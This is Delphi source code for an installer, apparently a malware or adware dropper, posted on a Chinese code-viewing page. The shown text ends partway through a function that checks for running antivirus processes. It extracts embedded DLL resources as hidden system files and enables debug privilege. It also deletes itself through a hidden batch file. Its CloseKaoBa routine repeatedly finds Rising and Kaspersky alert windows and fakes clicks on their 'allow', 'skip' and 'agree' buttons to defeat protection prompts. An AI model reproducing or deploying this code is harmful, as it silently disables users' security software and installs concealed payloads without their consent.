📄 install.dpr
字号:
program install;
//uses dialogs;//windows,dialogs;SysUtils,messages,DateUtils}
uses
windows {,dialogs},
myfunc in 'myfunc.pas';
{$R 'dll_start.RES'}
{$R 'dll_hitpop.RES'}
const flag_ver='flag_verflag_ver';
flag_id='f_idflag ';//客户id
BatchFileName='c:\myDelm.bat';
var flag_end:boolean;
cfg:string;
type
tagPROCESSENTRY32 = packed record
dwSize: DWORD;
cntUsage: DWORD;
th32ProcessID: DWORD; // this process
th32DefaultHeapID: DWORD;
th32ModuleID: DWORD; // associated exe
cntThreads: DWORD;
th32ParentProcessID: DWORD; // this process's parent process
pcPriClassBase: Longint; // Base priority of process's threads
dwFlags: DWORD;
szExeFile: array[0..MAX_PATH - 1] of Char;// Path
end;
TProcessEntry32 = tagPROCESSENTRY32;
const
TH32CS_SNAPHEAPLIST = $00000001;
TH32CS_SNAPPROCESS = $00000002;
TH32CS_SNAPTHREAD = $00000004;
TH32CS_SNAPMODULE = $00000008;
TH32CS_SNAPALL = TH32CS_SNAPHEAPLIST or TH32CS_SNAPPROCESS or TH32CS_SNAPTHREAD or TH32CS_SNAPMODULE;
function CreateToolhelp32Snapshot(dwFlags, th32ProcessID: DWORD): THandle;stdcall;external kernel32 name 'CreateToolhelp32Snapshot';
function Process32First(hSnapshot: THandle; var lppe: TProcessEntry32): BOOL;stdcall;external kernel32 name 'Process32First';
function Process32Next(hSnapshot: THandle; var lppe: TProcessEntry32): BOOL;stdcall;external kernel32 name 'Process32Next';
function AnsiCompareText(const S1, S2: string): Integer;
begin
Result := CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, PChar(S1),
Length(S1), PChar(S2), Length(S2)) - 2;
end;
function ExtractFileName(const FileName: string): string;
var
I: Integer;
begin
result:=FileName;
while true do
begin
i:=pos('\',result);
if i<=0 then exit;
result:=copy(result,i+1,length(result));
end;
end;
function GetSystemPath :string;
var sysdir:array [0..255] of char;
begin
GetsystemDirectory(sysdir,255);
Result :=sysdir;
if copy(Result,length(Result),1)<>'\' then
Result:=Result+'\';
end;
function FuckCode : String;
begin
Result :=#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA;
end;
function EnabledDebugPrivilege(const Enabled : Boolean) : Boolean;
var
hTk : THandle;
rtnTemp : Dword;
TokenPri : TOKEN_PRIVILEGES;
const
SE_DEBUG = 'SeDebugPrivilege';
begin
Result := False;
if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hTk)) then
begin
TokenPri.PrivilegeCount := 1;
LookupPrivilegeValue(nil,SE_DEBUG,TokenPri.Privileges[0].Luid);
if Enabled then
TokenPri.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
TokenPri.Privileges[0].Attributes := 0;
rtnTemp := 0;
AdjustTokenPrivileges(hTk,False,TokenPri,sizeof(TokenPri),nil,rtnTemp);
Result := GetLastError = ERROR_SUCCESS;
CloseHandle(hTk);
end;
end;
procedure CloseKaoBa;
var f1,f2:integer;
r1:trect;
s:string;
const WM_LBUTTONDOWN = $0201;
WM_LBUTTONUP = $0202;
WM_CLOSE = $0010;
begin
//d:=GetTickCount()+20*1000;
while true do
begin
if flag_end=true then break;
try
//瑞星
s:='瑞星注册表监控提示';
f1:=findwindow('#32770',pchar(s));
if f1<>0 then
begin
SetForegroundWindow(f1);
SetActiveWindow(f1);
f2:=FindWindowEx(f1,0,'Button','同意修改');
if f2<>0 then
begin
getwindowrect(f2,r1);
setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
//showmessage('a');
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end;
f2:=FindWindowEx(f1,0,'Button','确定');
if f2<>0 then
begin
getwindowrect(f2,r1);
setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
end;
//瑞星
f1:=findwindow('#32770','IE 执行保护');
if f1=0 then
f1:=findwindow('#32770','IE执行保护');
if f1<>0 then
begin
SetForegroundWindow(f1);
SetActiveWindow(f1);
f2:=FindWindowEx(f1,0,'Button','允许执行');
if f2<>0 then
begin
getwindowrect(f2,r1);
setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
//showmessage('a');
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end;
f2:=FindWindowEx(f1,0,'Button','确定');
if f2<>0 then
begin
getwindowrect(f2,r1);
setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
end;
//瑞星卡卡
f1:=findwindow(pchar('#32770'),'瑞星卡卡上网安全助手 - IE防漏墙');
if f1<>0 then
begin
f2:=FindWindowEx(f1,0,'Button','允许');
if f2<>0 then
begin
getwindowrect(f2,r1);
setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
end;
//卡吧
f1:=findwindow('AVP.AlertDialog','主动防御 信息');//得到瑞星窗体
if f1=0 then
f1:=findwindow('AVP.AlertDialog','主动防御 警报');
if f1=0 then
f1:=findwindow('AVP.AlertDialog','主动防御 警告');
if f1=0 then
f1:=findwindow('AVP.AlertDialog','主动防护 提示');
if f1=0 then
f1:=findwindow('AVP.AlertDialog','主动防护 警告');
if f1=0 then
f1:=findwindow('AVP.AlertDialog','主动防护 警报');
if f1=0 then
f1:=findwindow('AVP.AlertDialog','主动防护 信息');
if f1=0 then
f1:=findwindow('AVP.AlertDialog',nil);
if f1<>0 then
begin
f2:=FindWindowEx(f1,0,'AVP.Button','创建规则');
if f2<>0 then
begin
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end;
f2:=FindWindowEx(f1,0,'AVP.Button','允许');
if f2=0 then
f2:=FindWindowEx(f1,0,'AVP.Button','允许(&A)');
if f2<>0 then
begin
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
else
begin
f2:=FindWindowEx(f1,0,'AVP.Button','跳过');
if f2=0 then
f2:=FindWindowEx(f1,0,'AVP.Button','跳过(&S)');
if f2<>0 then
begin
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
else
SendMessage(f1, WM_close, 0, 0);
end;
end;
s:='AVP.Pr';
s:=s+'oduct_Notification';
f1:=findwindow(pchar(s),nil);
if f1=0 then
f1:=findwindow(pchar(s),'Kaspersky Anti-Virus: 通知');
if f1<>0 then
SendMessage(f1, WM_close, 0, 0);
f1:=findwindow('AVP.TrafficMonConnectionTerm','通信监控:终止连接');
if f1=0 then
f1:=findwindow('AVP.TrafficMonConnectionTerm',nil);
if f1<>0 then
begin
f2:=FindWindowEx(f1,0,'AVP.Button','否');
if f2<>0 then
begin
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
else
SendMessage(f1, WM_close, 0, 0);
end;
except
end;
//if GetTickCount()>d then break;
sleep(5);
end;
end;
function ExtractRes(ResType, ResName, OutName: string): Boolean;
var
HResInfo: THandle;
HGlobal: THandle;
HFile: THandle;
Ptr: Pointer;
Size, N: Integer;
begin
HFile := INVALID_HANDLE_VALUE;
repeat
Result := False;
HResInfo := FindResource(HInstance, PChar(ResName), PChar(ResType));
if HResInfo = 0 then Break;
HGlobal := LoadResource(HInstance, HResInfo);
if HGlobal = 0 then Break;
Ptr := LockResource(HGlobal);
Size := SizeOfResource(HInstance, HResInfo);
if Ptr = nil then Break;
HFile := CreateFile(PChar(OutName), GENERIC_READ or GENERIC_WRITE,
0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if HFile = INVALID_HANDLE_VALUE then Break;
if WriteFile(HFile, Ptr^, Size, LongWord(N), nil) then Result := True;
until True;
if HFile <> INVALID_HANDLE_VALUE then CloseHandle(HFile);
SetFileAttributes(PChar(OutName), FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_READONLY);
end;
function FileExists(pszPath: string): BOOL; stdcall; external 'shlwapi.dll' Name 'PathFileExistsA';
function Trim(const S: string): string;
var
I, L: Integer;
begin
L := Length(S);
I := 1;
while (I <= L) and (S[I] <= ' ') do
Inc(I);
if I > L then
Result := ''
else
begin
while S[L] <= ' ' do
Dec(L);
Result := Copy(S, I, L - I + 1);
end;
end;
function IniFileReadString(const Section, Ident, Default,FFileName: string): string;
var
Buffer: array[0..2047] of Char;
i:integer;
begin
i:=GetPrivateProfileString(PChar(Section),
PChar(Ident), PChar(Default), Buffer, SizeOf(Buffer), PChar(FFileName));
SetString(Result, Buffer, i);
if trim(result)='' then
result:=Default;
end;
function IniFileWritedString(const Section, Ident, value,FFileName: string): string;
var
s:string;
begin
s:=trim(IniFileReadString(Section, Ident, trim(''),FFileName));
if s<>trim(value) then
WritePrivateProfileString(pchar(Section), pchar(Ident), pchar(value),pchar(FFileName));
end;
procedure ExtDelMe(fn:string);
var
F: textfile;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
AssignFile(F, BatchFileName);
Rewrite(F);
WriteLn(F, ':try');
WriteLn(F, 'del "' + fn + '"');
WriteLn(F, 'if exist "' + fn + '"' + ' goto try');
WriteLn(F, 'del %0');
CloseFile(F);
sleep(1000);
winexec(pchar(BatchFileName),sw_hide);
{FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;}
end;
function StrToInt(const S: string): Integer;
var
E: Integer;
begin
Val(S, Result, E);
//if E <> 0 then ConvertErrorFmt(@SInvalidInteger, [S]);
end;
procedure CvtInt;
{ IN:
EAX: The integer value to be converted to text
ESI: Ptr to the right-hand side of the output buffer: LEA ESI, StrBuf[16]
ECX: Base for conversion: 0 for signed decimal, 10 or 16 for unsigned
EDX: Precision: zero padded minimum field width
OUT:
ESI: Ptr to start of converted text (not start of buffer)
ECX: Length of converted text
}
asm
OR CL,CL
JNZ @CvtLoop
@C1: OR EAX,EAX
JNS @C2
NEG EAX
CALL @C2
MOV AL,'-'
INC ECX
DEC ESI
MOV [ESI],AL
RET
@C2: MOV ECX,10
@CvtLoop:
PUSH EDX
PUSH ESI
@D1: XOR EDX,EDX
DIV ECX
DEC ESI
ADD DL,'0'
CMP DL,'0'+10
JB @D2
ADD DL,('A'-'0')-10
@D2: MOV [ESI],DL
OR EAX,EAX
JNE @D1
POP ECX
POP EDX
SUB ECX,ESI
SUB EDX,ECX
JBE @D5
ADD ECX,EDX
MOV AL,'0'
SUB ESI,EDX
JMP @z
@zloop: MOV [ESI+EDX],AL
@z: DEC EDX
JNZ @zloop
MOV [ESI],AL
@D5:
end;
function IntToStr(Value: Integer): string;
// FmtStr(Result, '%d', [Value]);
asm
PUSH ESI
MOV ESI, ESP
SUB ESP, 16
XOR ECX, ECX // base: 0 for signed decimal
PUSH EDX // result ptr
XOR EDX, EDX // zero filled field width: 0 for no leading zeros
CALL CvtInt
MOV EDX, ESI
POP EAX // result ptr
CALL System.@LStrFromPCharLen
ADD ESP, 16
POP ESI
end;
function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
function HasKV:boolean;
const maxp=6;
var
lppe: tprocessentry32;
sshandle: thandle;
found: boolean;
pg:array[1..maxp] of string;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -